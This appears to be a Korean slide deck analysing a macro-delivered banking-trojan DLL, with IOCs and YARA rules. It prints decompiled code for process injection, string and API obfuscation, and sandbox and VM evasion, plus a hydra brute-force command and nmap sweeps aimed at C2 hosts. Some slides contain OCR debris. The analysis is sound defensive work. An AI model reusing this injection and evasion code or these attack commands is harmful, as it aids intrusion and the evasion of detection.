Not shown: 91 closed ports

PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
49152/tcp  open  unknown
49153/tcp  open  unknown
49154/tcp  open  unknown
49155/tcp  open  unknown
49156/tcp  open  unknown
49157/tcp  open  unknown

Nmap scan report for cabertun.com (5.8.88.46)
Host is up (0.17s latency).
rDNS record for 5.8.88.46: loddenp.morene.host
Not shown: 994 filtered ports

PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
3389/tcp   open  ms-wbt-server
49154/tcp  open  unknown
49155/tcp  open  unknown
```

DLL (cont'd)

- DLL의 몇가지 흥미로운 점들을 공유
(악성코드에 친숙하지 않은 분들을 위해)
 - 자신의 정보 은닉
 - 자동화시스템, 샌드박스, 분석툴 등 우회

DLL (cont'd)

- 문자열 숨김

```
BYTE * __usercall my_decode_string@<eax>(struct some_encoded_info *encoded_info@<eax>)
{
    unsigned __int16 i; // [esp+2h] [ebp-16h]
    unsigned int index; // [esp+4h] [ebp-14h]
    __int16 key; // [esp+Ah] [ebp-Eh]
    unsigned int encoded_length; // [esp+Ch] [ebp-Ch]
    BYTE *decoded_buf; // [esp+10h] [ebp-8h]
    char *encoded_buf_main; // [esp+14h] [ebp-4h]

    key = encoded_info->key;
    encoded_length = (unsigned __int16)(encoded_info->key ^ encoded_info->encoded_len);
    encoded_buf_main = &encoded_info->encoded_buf;
    decoded_buf = (BYTE *)malloc(encoded_length + 1);
    index = 0;
    for ( i = 0xCAFAu; index < encoded_length; i *= (_WORD)index )
    {
        *(_WORD *)&decoded_buf[index] = i ^ key ^ *(_WORD *)&encoded_buf_main[index];
        index += 2;
    }
    decoded_buf[encoded_length] = 0;
    return decoded_buf;
}
```

```
v5 = 501;
GetModuleFileNameA(0, exe_path, 501);
CharUpperBuffA(exe_path, v5);
SubStr = (char *)my_decode_string((struct some_encoded_info *)str_SAMPLE);
if ( my strstr(exe_path, SubStr) )
    v6 = -1;
myfree(SubStr);
```

DLL (cont'd)

- 문자열 숨김

```

get_loader_functions(),
VirtualProtect(p_encoded_shc, addr_40215c - p_encoded_shc, PAGE_EXI
xor_buffer(p_encoded_shc + 5, addr_401d344 - p_encoded_shc - 5);
xor2_buffer(addr_401d344 + 5, addr_40215c - addr_401d344 - 5);
return setup_import(0);

```

Address	Hex dump	ASCII	Address	Hex dump	ASCII
003C1D44	43 3A 3B 24	C:;\$_...	003C1D44	26 3A 3B 24	&:;\$_...
003C1D4C	4C 95 EF 81	L髉??.	003C1D4C	4C 44 5F 45	LD_ERR_R
003C1D54	A0 47 1E FA	偰?aV	003C1D54	55 4E 5F 00	UN_.LD_E
003C1D5C	F0 13 8E 63	?람6扮	003C1D5C	52 52 5F 4C	RR_LOAD.
003C1D64	13 09 13 00	!!..@?j	003C1D64	5C 70 72 65	\prefs.j
003C1D6C	8E B1 F1 9A	蹊???	003C1D6C	73 00 00 00	s...prox
003C1D74	D3 C7 F5 A9	覃秒?hG	003C1D74	79 2E 74 79	y.type",
003C1D7C	77 21 12 06	w!↑-^O蹊	003C1D7C	20 00 00 00	...prox
003C1D84	7D 77 CA 4F	}w??H	003C1D84	79 2E 68 74	y.http",
003C1D8C	91 B3 32 71	鼈2q砲불	003C1D8C	20 22 00 00	"..prox
003C1D94	26 E7 AA D2	&圈?翻1	003C1D94	79 2E 68 74	y.http_p
003C1D9C	63 73 27 FE	cs' ←w	003C1D9C	6F 72 74 22	ort", ..
003C1DA4	E5 74 8C 6B	?鼈?災	003C1DA4	5C 4D 6F 7A	\Mozilla
003C1DAC	3A 37 1A 35	:7→5X?	003C1DAC	5C 46 69 72	\Firefox
003C1DB4	4F F9 71 12	O?↑覥鑿	003C1DB4	5C 50 72 6F	\Profile
003C1DBC	B2 BD B9 B2	遐龋鑿↑L	003C1DBC	73 5C 2A 00	s*...IN
003C1DC4	24 5C 67 BC	\$\g? 전	003C1DC4	4A 45 43 54	JECTFILE
003C1DCC	1B 51 B4 1D	←Q? gV	003C1DCC	46 49 4C 45*E
003C1DD4	90 CC 11 03	鼈◀L磻X	003C1DD4	58 45 55 50	XEUPDATE
003C1DDC	55 C1 D4 88	U존?る.	003C1DDC	44 41 54 45	...www.
003C1DE4	44 96 0B D9	D??p L:	003C1DE4	77 77 77 2E	google.c
003C1DEC	BF 5C F5 F3	?出?乾	003C1DEC	20 00 00 00	om..?tve
003C1DF4	9F 54 85 29	首T?n?	003C1DF4	3F 74 76 65	r=..&vcm

DLL

- API import 숨김

```
v1 = eax0;
hKernel32 = get_kernel32();
LoadLibraryA = my_getprocaddr(hKernel32, 0xC8AC8026);
*FreeLibrary = my_getprocaddr(hKernel32, 0x4B935B8E);
GetWindowsDirectoryA = my_getprocaddr(hKernel32, 2024803454);
*GlobalLock = my_getprocaddr(hKernel32, 0x25447AC6);
*GlobalUnlock = my_getprocaddr(hKernel32, 0xF50B872);
*TerminateProcess = my_getprocaddr(hKernel32, 0x9E6FA842);
*IsBadReadPtr = my_getprocaddr(hKernel32, 0x7D544DBD);
GetProcAddress = my_getprocaddr(hKernel32, 0x1FC0EAEE);
*GetSystemTime = my_getprocaddr(hKernel32, 0x270118E2);
*RemoveDirectoryA = my_getprocaddr(hKernel32, 0x4AE7572B);
*DeleteFileW = my_getprocaddr(hKernel32, 0x81F0F0C9);
*IsDebuggerPresent = my_getprocaddr(hKernel32, 0x95FB6A02);
*GetLogicalDriveStringsA = my_getprocaddr(hKernel32, 0x70F6FE31);
*GetDriveTypeA = my_getprocaddr(hKernel32, 0x399354CE);
*GetCurrentThreadId = my_getprocaddr(hKernel32, 0xA45B370A);
*PulseEvent = my_getprocaddr(hKernel32, 0x2B00B870);
GetCurrentThread = my_getprocaddr(hKernel32, 0x4FBA916C);
WaitForSingleObject = my_getprocaddr(hKernel32, 0xC54374F3);
*OpenEventA = my_getprocaddr(hKernel32, 0x9C700049);
*WaitForMultipleObjects = my_getprocaddr(hKernel32, 0x4F6CA717);
GetVolumeInformationA = my_getprocaddr(hKernel32, 0x67ECDE97);
```

DLL

- 좀비 explorer.exe process에 코드 인젝션

```
if ( CreateProcessA(0, exepath, 0, 0, 0, CREATE_SUSPENDED, 0, 0, &a2, &hProc_1) != 0 )
{
    v7 = maybe_rand(v6);
    hex2str32(v7, &memory_section_name);
    strcat(&memory_section_name, "_section");
    len = *(dll_imagebase + *(dll_imagebase + 60) + 80);
    v23 = CreateFileMappingA(-1, 0, 4, 0, cmdline_option_len + len + 8, &memory_section_name);
    memory_map = MapViewOfFile(v23, 983071, 0, 0, 0);
    my_memcpy(memory_map, len, dll_imagebase); // copy whole dll
    *&memory_map[*(memory_map + 15) + 52] = dll_imagebase;// patch imagebase
    *&memory_map[len] = func_addr - dll_imagebase;// append wanted function
    *&memory_map[len + 4] = cmdline_option_len; // append cmdline (length + ptr)
    my_memcpy(&memory_map[len + 8], cmdline_option_len, cmdline_option);
    len = 0x298;
    v_alloc(&shellcode_buffer, 684);
    my_memcpy(shellcode_buffer, len, &encoded_buffer);
    v15 = len;
    v18 = 0;
    do
    {
        shellcode_buffer[v18] ^= -101 * v18 - 28; // decode loader code
        ++v18;
        --v15;
    }
    ...
}
```

DLL

- 좀비 explorer.exe process에 코드 인젝션

```
ep_addr = get_EP_or_TLS_of_process(hProc_1);
if ( !ep_addr )
{
    my_zero_mem(&v10, 0xCCu);
    v10 = WOW64_CONTEXT_FULL;
    if ( GetThreadContext(v13, &v10) )
    {
        if ( __eax )
            ep_addr = __eax;           // eax of initial state thread context is entrypoint
    }
}
if ( !ep_addr )
    ep_addr = get_EP_of_process(hProc_1);
if ( ep_addr )
{
    VirtualProtectEx(hProc_1, ep_addr, len, 64, &v17);
    WriteProcessMemory(hProc_1, ep_addr, shellcode_buffer, len, &mem_section_name_len);
    j_VirtualFree(shellcode_buffer);
    ResumeThread(v13);
```

- 방식은 entrypoint 에 DLL loader code 덮어쓰는 방식

- idb - <https://drive.google.com/file/d/1KkNjv2rxBu8u5K-VXURA5YevxgQU1qAo/view>

```
seg000:00000000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing
seg000:00000000 55 push    ebp
seg000:00000001 89 E5 mov     ebp, esp
seg000:00000003 83 EC 14 sub    esp, 14h
seg000:00000006 56 push    esi
seg000:00000007 57 push    edi
seg000:00000008 53 push    ebx
seg000:00000009 E8 00 00 00 00 call   $+5
seg000:0000000E 5B pop    ebx
seg000:0000000F 81 EB 0E 10 00 01 sub    ebx, 100100Eh
seg000:00000015 64 A1 30 00 00 00 mov    eax, dword ptr fs:loc_2C+4 ; 0x30 == peb addr
seg000:0000001B 8B 40 0C mov    eax, [eax+0Ch] ; ldr_data
seg000:0000001E 8B 40 1C mov    eax, [eax+1Ch]
seg000:00000021
seg000:00000021 loc_21:           ; CODE XREF: seg000:0000002A+j
seg000:00000021 8B 70 08 mov    esi, [eax+8]
seg000:00000024 80 78 1C 18 cmp    byte ptr [eax+1Ch], 18h
seg000:00000028 8B 00 mov    eax, [eax]
seg000:0000002A 75 F5 jnz   short loc_21
seg000:0000002C
seg000:0000002C loc_2C:           ; DATA XREF: seg000:00000015+r
seg000:0000002C E8 0F 00 00 00 call   loc_40
seg000:0000002C ;
seg000:00000031 47 65 74 50 72 6F 63 41 64+aGetProcAddress db 'GetProcAddress',0
seg000:00000040 ;
seg000:00000040
seg000:00000040 loc_40:           ; CODE XREF: seg000:loc_2Ctp
seg000:00000040 56 push    esi
seg000:00000041 E8 79 01 00 00 call   my_getprocaddr
seg000:00000046 89 83 7B 12 00 01 mov    [ebx+100127Bh], eax ; GetProcAddress
seg000:0000004C E8 0D 00 00 00 call   loc_5E
seg000:0000004C ;
seg000:00000051 4C 6F 61 64 4C 69 62 72 61+aLoadlibraryA db 'LoadLibraryA',0
seg000:0000005E ;
seg000:0000005E
seg000:0000005E loc_5E:           ; CODE XREF: seg000:0000004Ctp
seg000:0000005E 56 push    esi
seg000:0000005F FF 93 7B 12 00 01 call   dword ptr [ebx+100127Bh]
seg000:00000065 89 83 7F 12 00 01 mov    [ebx+100127Fh], eax ; LoadLibraryA
seg000:0000006B E8 10 00 00 00 call   loc_80
seg000:0000006B ;
seg000:00000070 55 6E 6D 61 70 56 69 65 77+aUnmapviewoffil db 'UnmapViewOfFile',0
seg000:00000080 ;
seg000:00000080
seg000:00000080 loc_80:           ; CODE XREF: seg000:0000006Btp
seg000:00000080 56 push    esi
seg000:00000081 FF 93 7B 12 00 01 call   dword ptr [ebx+100127Bh]
seg000:00000087 89 83 83 12 00 01 mov    [ebx+1001283h], eax ; UnmapViewOfFile
seg000:0000008D E8 0D 00 00 00 call   loc_9F
seg000:0000008D ;
seg000:00000092 56 69 72 74 75 61 6C 41 6C+aVirtualalloc db 'VirtualAlloc',0
seg000:0000009F ;
seg000:0000009F
```

DLL

- 다운로드 받은 PE파일(메모리 상태)의 TimeDateStamp 패치
 - 혹시 AV 시스템에 전달되더라도 항상 새로운 hash

```
write_buffer += 4;
decode_downloaded_buffer(write_buffer, v14);
if (*write_buffer == 'M' && *(write_buffer + 1) == 'Z' )
{
    v3 = get_current_epoch_timestamp();
    mempatch_timedatestamp_and_checksum(write_buffer, v3);
    v10 = 0;
```

```
BYTE *__usercall mempatch_timedatestamp_and_checksum@<eax>(BYTE *buffer)
{
    BYTE *v2; // [esp+Ch] [ebp-4h]

    v2 = buffer;
    if (*buffer == 'ZM' )
    {
        *&buffer[*buffer + 0xF] + 8] = epoch_timestamp;
        buffer += *(buffer + 0xF) + 0x18;           // optional_header
        *&v2[*v2 + 0xF] + 0x58] = 0;             // patch checksum
    }
    return buffer;
}
```

DLL

- 자신이 자동분석 시스템 안에 있는지 확인
- API 함수 시작부분 hooking 감지

```
int __userpurge safecall__CryptEncrypt@<eax>(HCRYPTKEY hKey@<eax>, int hHash@<edx>,
{
    int v8; // [esp+0h] [ebp-10h]

    if (*CryptEncrypt != 0xE9u) // 0xE9 == long JMP instruction
        v8 = CryptEncrypt(hKey, hHash, Final, dwFlags, pbData, pdwDataLen, dwBufLen);
    return v8;
}
```

CODE:00401A87 014 A1 00 A5 40 00	mov eax, ds:_CryptEncrypt
CODE:00401A8C 014 80 38 E9	cmp byte ptr [eax], 0E9h ; 'é'
CODE:00401A8F 014 74 25	jz short loc_401AB6
CODE:00401A91 014 8B 45 08	mov eax, [ebp+dwBufLen]
CODE:00401A94 014 50	push eax
CODE:00401A95 018 8B AF 0C	mov eax, [ebp+dwDataLen]

DLL

- 자신이 자동분석 시스템 안에 있는지 확인
 - Xeon에선 실행을 거부한다! (which is usually server CPU)
~~(암드 무사하나)~~

The screenshot shows the Immunity Debugger interface. The assembly pane on the left displays the following code:

```
003C6A72 . A1 2C953C00 MOV EAX, DWORD PTR DS:[3C952C]
003C6A77 . E8 40D7FFFF CALL <decode_string>
003C6A7C . 8945 F8 MOV [LOCAL.2], EAX
003C6A7F . 8D45 B7 LEA EAX, DWORD PTR SS:[EBP-49]
003C6A82 . E8 55FFFFFF CALL <get_cpu_name>
003C6A87 . 8D45 B7 LEA EAX, DWORD PTR SS:[EBP-49]
003C6A8A . 8B55 F8 MOV EDX, [LOCAL.2]
003C6A8D . E8 46A6FFFF CALL <my strstr>
003C6A92 . 85C0 TEST EAX, EAX
003C6A94 . 0F95C0 SETNE AL
003C6A97 . F6D8 NEG AL
003C6A99 . 1BC0 SBB EAX, EAX
003C6A9B . 8945 FC MOV [LOCAL.1], EAX
003C6A9E . 8B45 F8 MOV EAX, [LOCAL.2]
003C6AA1 F8 62AQFFFF CALL <free>
```

The registers pane on the right shows the following register values:

Register	Value	Description
EAX	0006F5BF	ASCII "Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz"
ECX	00000000	
EDX	00085FD8	ASCII "Xeon"
EBX	7C80C0E8	kernel32.ExitThread
ESP	0006F5BC	
EBP	0006F608	
ESI	0006F8B8	
EDI	00000001	
EIP	003C6A8D	download.003C6A8D
C	0	ES 0023 32bit 0(FFFFFFFF)
P	0	CS 001B 32bit 0(FFFFFFFF)
A	0	SS 0023 32bit 0(FFFFFFFF)

DLL

- 자신이 자동분석 시스템 안에 있는지 확인
 - AV 에뮬레이션이나 자동분석시스템의 파일명을 알고 있어서, 내 자신이 그 이름인지 확인 (“c:\sample.exe”, etc)

```
    ...
    GetModuleFileNameA(0, exe_path, 501);
    CharUpperBuffA(exe_path, v5);
    SubStr = my_decode_string(str_SAMPLE);
    if ( my strstr(exe_path, SubStr) )
        v6 = -1;
    myfree(SubStr);
    v4 = my_decode_string(str_VIRUS);
    if ( my strstr(exe_path, v4) )
        v6 = -1;
    myfree(v4);
    v3 = my_decode_string(str_SANDBOX);
    if ( my strstr(exe_path, v3) )
        v6 = -1;
    myfree(v3);
    return v6;
}
```

DLL

- 자신이 자동분석 시스템 안에 있는지 확인
 - “Sandboxie” 제품 감지 (sbiedll.dll 존재 여부 확인)

```
int check_sandboxie()
{
    BYTE *Memory; // ST04_4
    int v1; // ST08_4

    Memory = my_decode_string((struct some_encoded_info *)str_sbiedll_dll);
    v1 = -(GetModuleHandleA(Memory) != 0);
    myfree(Memory);
    return v1;
}
```

DLL

- 자신이 자동분석 시스템 안에 있는지 확인
 - 퀴즈: 이건 뭘까요?

```
int always_zero_trick()
{
    int v0; // ST04_4

    v0 = GetTickCount();
    Sleep(500);
    return -(GetTickCount() - v0 <= 450);
}
```

- tick1;
Sleep(500);
tick2 - tick1 <= 450?

DLL

- 자신이 자동분석 시스템 안에 있는지 확인
 - PlugNPlay device description 으로 VMWare 감지

```
SetupDiEnumDeviceInfo(hDeviceInfo, 0, &sp_devinfo_data);
SetupDiGetDeviceRegistryPropertyA(
    hDeviceInfo,
    &sp_devinfo_data,
    SPDRP_DEVICEDESC,
    &device_type,
    str_device_description,
    129,
    &device_type);
v0 = strlen(str_device_description);
CharLowerBuffA(str_device_description, v0);
SetupDiDestroyDeviceInfoList(hDeviceInfo);
strVMWare = my_decode_string(encoded_str_vmware);
if (my strstr(str_device_description, strVMWare) )
    am_i_in_vmware = -1;
```

DLL

- 자신이 자동분석 시스템 안에 있는지 확인
 - PlugNPlay device description 으로 VMWare 감지

The screenshot shows assembly code and a memory dump. The assembly code is as follows:

Address	OpCode	OpName	OpDesc	OpRef
003C6D3D	. 0D4J F4	MOV	EAX, [LOCAL+?]	
003C6D3E	. 50	PUSH	EAX	
003C6D3F	. FF15 44A23C00	CALL	DWORD PTR DS:[3CA244]	setupapi.SetupDiGetDeviceRegistryPropertyA
003C6D44	. 8D85 63FFFFFF	LEA	EAX, DWORD PTR SS:[EBP-9D]	
003C6D4A	. E8 55A5FFFF	CALL	<strlen>	strlen
003C6D4F	. 50	PUSH	EAX	
003C6D50	. 8D85 63FFFFFF	LEA	EAX, DWORD PTR SS:[EBP-9D]	

DS:[003CA244]=76076332 (setupapi.SetupDiGetDeviceRegistryPropertyA)

Address	Hex dump	ASCII			
0006F56B	56 4D 77 61 72 65 20 53 56 47 41 20 49 49 00 06	VMware SVGA II.-	0006F54C	0000001C	
0006F57B	00 DF F5 01 42 35 45 46 39 32 43 41 00 32 30 42	.署 B5EF92CA.20B	0006F550	4D36E968	
0006F58B	25 44 20 00 00 40 21 00 70 40 55 05 00 40 21 00	550 00000000 00000000	0006F554	11CEE325	

DLL

- 자신이 자동분석 시스템 안에 있는지 확인
 - Video device 를 통해 VirtualBox인지 확인

```
int check_VirtualBox()
{
    char Str[4]; // [esp+0h] [ebp-11Ch]
    char *SubStr; // [esp+104h] [ebp-18h]
    void *v3; // [esp+108h] [ebp-14h]
    void *Memory; // [esp+10Ch] [ebp-10h]
    int v5; // [esp+110h] [ebp-Ch]
    int v6; // [esp+114h] [ebp-8h]
    int v7; // [esp+118h] [ebp-4h]

    v7 = 0;
    Memory = my_decode_string(str_HARDWARE_description_system);
    RegOpenKeyExA(HKEY_LOCAL_MACHINE, Memory, 0, 0x20019, &v6);
    myfree(Memory);
    v5 = 257;
    v3 = my_decode_string(str_VideoBiosVersion);
    if (!j__RegQueryValueExA(v6, v3, 0, 0, &Str[3], &v5) )
    {
        SubStr = my_decode_string(enc_VirtualBox);
        v7 = -(my strstr(&Str[3], SubStr) != 0);
        myfree(SubStr);
    }
    myfree(v3);
    j__RegCloseKey(v6);
    return v7;
}
```

DLL

- 설정(C2,AES key, etc)는 registry에 암호화 후 저장

```
int __usercall aes_encrypt_and_save_to_registry@<eax>(BYTE *buf@<eax>)
{
    BYTE dst[392]; // [esp+0h] [ebp-198h]
    int bufLen; // [esp+188h] [ebp-10h]
    BYTE *encrypted_buf; // [esp+18Ch] [ebp-Ch]
    int v5; // [esp+190h] [ebp-8h]
    BYTE *a3; // [esp+194h] [ebp-4h]

    a3 = buf;
    my_memcpy(dst, 392, buf);
    XOR_buffer_and_check_VMWare(dst);
    bufLen = 0;
    aes_encrypt(dst, 392, &aes_key, &bufLen, 0); // int aes_encrypt(BYTE *plain_buf, int plain_len, BYTE *key, int key_len, int *bufLen);
    encrypted_buf = malloc(bufLen);
    aes_encrypt(dst, 392, &aes_key, &bufLen, encrypted_buf);
    if ( is_high_integrity )
        RegCreateKeyExA(HKEY_LOCAL_MACHINE, SOFTWARE_volume_serial_2, 0, 0, 0, 983103, 0, &v5, 0);
    else
        RegCreateKeyExA(HKEY_CURRENT_USER, SOFTWARE_volume_serial_2, 0, 0, 0, 983103, 0, &v5, 0);
    j_RegSetValue(v5, 0, 0, 3, encrypted_buf, bufLen);
    return j__RegCloseKey(v5);
}
```

DLL

- 인터넷 연결 확인

```
while ( 1 )
{
    v19 = http_get_from_server(pstr_google_com, 0, a5);
    if ( v19 )
        break;
    Sleep(600000);
}
v19 = report_to_server(v23, aes_key_0, &v10, Str, a5, 0, 0, &Memory, &v17);
if ( v19 )
{
    a5 = 0;
}
```

DLL

- 간단한 disasm crack (against Hex-Rays)

```
CODE:00408D08          sub_408D08 proc near           ; CODE XREF: sub_409084+12↓p
CODE:00408D08 55        push    ebp
CODE:00408D09 8B EC      mov     ebp, esp
CODE:00408D0B 81 C4 E0 FD FF FF    add     esp, 0FFFFFDE0h
CODE:00408D11 E8 02 8E FF FF    call    sub_401B18
CODE:00408D16 50        push    eax
CODE:00408D17 53        push    ebx
CODE:00408D18 51        push    ecx
CODE:00408D19 E8 16 DC FF FF    call    sub_406934           ; always returns 0;
CODE:00408D1E 05 30 8D 40 00    add     eax, offset sub_408D30
CODE:00408D23 8B 1D 5C B2 40 00  mov     ebx, ds:dword_40B25C
CODE:00408D29 B9 74 6C 40 00    mov     ecx, offset sub_406C74
CODE:00408D2E FF E0        jmp    eax
CODE:00408D2E          sub_408D08 endp

CODE:00408D30          ; ===== S U B R O U T I N E =====
CODE:00408D30
CODE:00408D30
CODE:00408D30
CODE:00408D30          sub_408D30 proc near           ; DATA XREF: sub_408D08+16↑o
CODE:00408D30 FF D1        call    ecx
CODE:00408D32 83 F8 00      cmp     eax, 0
CODE:00408D35 74 08        jz     short loc_408D3F
CODE:00408D37 6A 00        push    0
CODE:00408D39 FF D3        call    ebx
CODE:00408D3B 90          nop
CODE:00408D3C 90          nop
CODE:00408D3D 90          nop
```

DLL

- nop 과 다른 없으므로 패치하면 됩니다
 - Edit - Patch program - Patch byte

```
• CODE:0040883C 000 55          push    ebp
• CODE:0040883D 004 8B EC        mov     ebp, esp
• CODE:0040883F 004 81 C4 E0 FD FF FF add    esp, 0FFFFFDE0h
• CODE:00408845 224 E8 CE 92 FF FF call   init_crc_table
• CODE:0040884A 224 50          push   eax
• CODE:0040884B 228 53          push   ebx
• CODE:0040884C 22C 51          push   ecx
• CODE:0040884D 230 E8 DA DE FF FF call   read_saved_key
• CODE:00408852 230 05 64 88 40 00 add    eax, offset loc_408864
• CODE:00408857 230 8B 1D 50 A2 40 00 mov    ebx, ds:_ExitThread
• CODE:0040885D 230 B9 6C 6A 40 00 mov    ecx, offset check_cpu_is_xeon
• CODE:00408862 230 90          nop
• CODE:00408863 230 90          nop
CODE:00408864
CODE:00408864
loc_408864: ; DATA XREF:
• CODE:00408864 230 FF D1        call   ecx ; check_cpu_is_xeon
• CODE:00408866 230 83 F8 00        cmp    eax, 0
• CODE:00408869 230 74 08        jz    short loc_408873
• CODE:0040886B 230 6A 00        push   0 ; _DWORD
• CODE:0040886D 234 FF D3        call   ebx ; _ExitThread
CODE:0040886E
```

C&C - 삽질기

- Hail Hydra!
 - hydra rdp://5.8.88.46 -l Administrator -P ~/wordlists/Top29Million-probable-v2.txt -> fail
- 몇달 후 같은 공격 발생, C2는 morene.host + 또다른 서버 사용
 - baderson.com - 5.188.231.169, 47.254.150.87, 185.14.31.72
- app.run.any에서 유사해 보이는 매크로 기반 샘플을 받아 풀어보니 똑같이 morene.host 사용
 - donersonma.com - 5.188.60.27

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C&C - 삽질기

- 웹서버는 금방 닫힘
 - telemetry도 없는 분석가가 최신 샘플(live 서버로 연결된)을 얻기가 어려움
- Morene.host 로 등록된 IP 전체스캔
 - [https://apps.db.ripe.net/db-web-ui/#/query?
bflag=false&dflag=false&rflag=true&searchtext=morenehost&source=RIPE#resultsSection](https://apps.db.ripe.net/db-web-ui/#/query?bflag=false&dflag=false&rflag=true&searchtext=morenehost&source=RIPE#resultsSection)
 - nmap 5.8.88.1/24 5.188.60.1/24 5.188.231.1/24 91.243.80.1/22 -p80,443,49154 -oN all_ports.txt
 - (http|https)&49154 를 열고 있는 서버는 5개 가량

C&C - 삽질기

- 웹서버는 금방 닫힘
 - telemetry도 없는 분석가가 최신 샘플(live 서버로 연결된)을 얻기가 어려움
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bflag=false&dflag=false&rflag=true&searchtext=morenehost&source=RIPE#resultsSection](https://apps.db.ripe.net/db-web-ui/#/query?bflag=false&dflag=false&rflag=true&searchtext=morenehost&source=RIPE#resultsSection)
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C&C - 삽질기

- 웹서버는 금방 닫힘
 - telemetry도 없는 분석가가 최신 샘플(live 서버로 연결된)을 얻기가 어려움
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 - nmap 5.8.88.1/24 5.188.60.1/24 5.188.231.1/24 91.243.80.1/22 -p80,443,49154 -oN all_ports.txt
 - (http|https)&49154 를 열고 있는 서버는 xx개 가량

C&C - 삽질기

- 발견된 서버들에 <https://c2server/auth/> 에 DLL 본체와 같은 방식으로 POST request 날렸으나 별다른 소득 없음

기타 삽질기

- imgur.com, postimg.cc 등 이미지 업로드 서비스에서 600x600 png 를 다 받아서 풀어볼까 했으나 너무 많음
- imgur.com 등 서비스에 연락, 디코딩 툴 제공하면 좋을 것으로 보임. 근데 인코딩 방식만 바꾸면 또 못찾게 되는지라
- 파워쉘 오토 디코딩 툴
 - 오픈소스! - <https://github.com/PowerShell/PowerShell>
 - Invoke-Expression 핸들러 수정
 - 리눅스에서 컴파일, 디코딩에 활용

YARA Rules?

- 먼저 이 경우 PE는 디스크를 터치하지 않습니다!
 - VT엔 누가 올려주고 있음
- No telemetry, no VTI, no nothing
 - 테스트 할 수가 없습니다
- 주요 데이터들이 대부분 {키+길이+인코딩된 버퍼} 형태로 있고 데이터마다 키를 바꾸고 있으므로 YARA에 넣기가 어렵습니다
- 그래도 제가 본 몇개의 샘플 중 바뀌지 않은 unique 한 값을 적어보면

YARA Rules?

- rule bebloh

{

strings:

```
// CODE:0040691B 35 EE BA 67 AC      xor    eax, 0AC67BAEEh
$encoding_code1 = { 35 EE BA 67 AC }
// 0xAC67BAEE unique value for encoding crc32
$encoding_key1 = { EE BA 67 AC }

// CODE:00406995 8B 00      mov    eax, [eax]
// CODE:00406997 35 A1 F6 C3 CB      xor    eax, 0CBC3F6A1h
$saving_code1 = { 8B 00 35 A1 F6 C3 CB }
// 0xCBC3F6A1 unique value for saving
$saving_key1 = { A1 F6 C3 CB }

// CODE:00407690  C7 45 ?? 61 F1 A2 65      mov    [ebp+xorkey], 65A2F161h
$xor_code1 = { C7 45 ?? 61 F1 A2 65 }
// 65A2F161h data xor key
$xor_key1 = { 61 F1 A2 65 }
```

condition:

```
// any whole code or combination of keys
```

```
(any of ($encoding_code1, $saving_code1, $xor_code1)) or (2 of ($encoding_key1, $saving_key1,
$xor_key1))
}
```

YARA Rules?

- rule beblob

{

strings:

```
// CODE:0040691B 35 EE BA 67 AC      xor    eax, 0AC67BAEEh
$encoding_code1 = { 35 EE BA 67 AC }
// 0xAC67BAEE unique value for encoding crc32
$encoding_key1 = { EE BA 67 AC }
```

```
BYTE __usercall collect_computer_name@<a1>(
{
    int comp_name_len; // eax
    char computer_name[129]; // [esp+3h] [ebp-95h]
    int hKey; // [esp+84h] [ebp-14h]
    int v5; // [esp+88h] [ebp-10h]
    unsigned int crc; // [esp+8Ch] [ebp-Ch]
    int v7; // [esp+90h] [ebp-8h]
    BYTE *v8; // [esp+94h] [ebp-4h]

    v8 = a1;
    crc = 0;
    v7 = 129;
    if ( GetComputerNameA(computer_name, &v7) )
    {
        comp_name_len = strlen(computer_name);
        crc = some_crc_string(crc, computer_name, comp_name_len);
    }
    RegOpenKeyExA(HKEY_LOCAL_MACHINE, str_SOFTWARE_Microsoft_Windows_N
    v7 = 4;
    v5 = 0;
    j__RegQueryValueExA(hKey, str_InstallDate, 0, 0, &v5, &v7);
    j__RegCloseKey(hKey);
    return hex2str32(v5 ^ crc ^ 0xAC67BAEE, v8);
}
```

ax]
[ebp+0], 0CDBC3F6A1h

[ebp+xorkey], 65A2F161h

) or (2 of (\$encoding_key1, \$saving_key1,

YARA Rules?

- rule bebloh

```
{  
    strings:  
        // CODE:00406995 8B 00          mov    eax, [eax]  
        // CODE:00406997 35 A1 F6 C3 CB xor    eax, 0CBC3F6A1h  
        $saving_code1 = { 8B 00 35 A1 F6 C3 CB }  
        // 0xCBC3F6A1 unique value for saving  
        $saving_key1 = { A1 F6 C3 CB }
```

```
unsigned int read_saved_key()  
{  
    char hashed_compname; // [esp+2h] [ebp-14Eh]  
    char keypath[257]; // [esp+43h] [ebp-10Dh]  
    int v3; // [esp+144h] [ebp-Ch]  
    _DWORD *key; // [esp+148h] [ebp-8h]  
    unsigned int v5; // [esp+14Ch] [ebp-4h]  
  
    v5 = 0;  
    collect_computer_name(&hashed_compname);  
    GetTempPathA(257, keypath);  
    strcat(keypath, &hashed_compname);  
    v3 = read_whole_file(keypath, &key);  
    if ( v3 != -1 )  
    {  
        if ( v3 == 4 )  
            v5 = *key ^ 0xCBC3F6A1;  
        j_VirtualFree(key);  
    }  
    return v5;  
}
```

or eax, 0AC67BAEEh

mov [ebp+xorkey], 65A2F161h

code1)) or (2 of (\$encoding_key1, \$saving_key1,

YARA Rules?

- rule bebloh

{

strings:

```
// CODE:00407690  C7 45 ?? 61 F1 A2 65      mov    [ebp+xorkey], 65A2F161h
$xor_code1 = { C7 45 ?? 61 F1 A2 65 }
// 65A2F161h  data xor key
$xor_key1 = { 61 F1 A2 65 }
```

```
_DWORD * __usercall xor_buffer@<eax>(_BYTE *a1@<eax>, unsigned int a2@<edx>)
{
    _DWORD *result; // eax
    unsigned int v3; // [esp+0h] [ebp-14h]
    signed int xorkey; // [esp+4h] [ebp-10h]
    signed int v5; // [esp+8h] [ebp-Ch]
    _BYTE *v6; // [esp+10h] [ebp-4h]

    v6 = a1;
    xorkey = 0x65A2F161;
    result = (a2 >> 2);
    if ( a2 >> 2 )
    {
        v3 = a2 >> 2;
        v5 = 1;
        do
        {
            v6 += 4;
            xorkey -= 0x3CEE;
            result = v6;
            *result ^= xorkey;
        } while ( v5-- );
    }
}
```

Summary


- Campaign
 - 오피스문서 + 매크로로 배포
 - 난독화된 vba/batch/powershell scripts
 - 중간 중간 정상 값(국가번호, 시스템언어 등)을 복호화에 포함. 즉 타겟 대상군 시스템 외에는 실행 되지 않음
 - Public image hosting 서비스 + Steganography
 - In-memory DLL loading (no disk-write == filter driver 감지 불가)
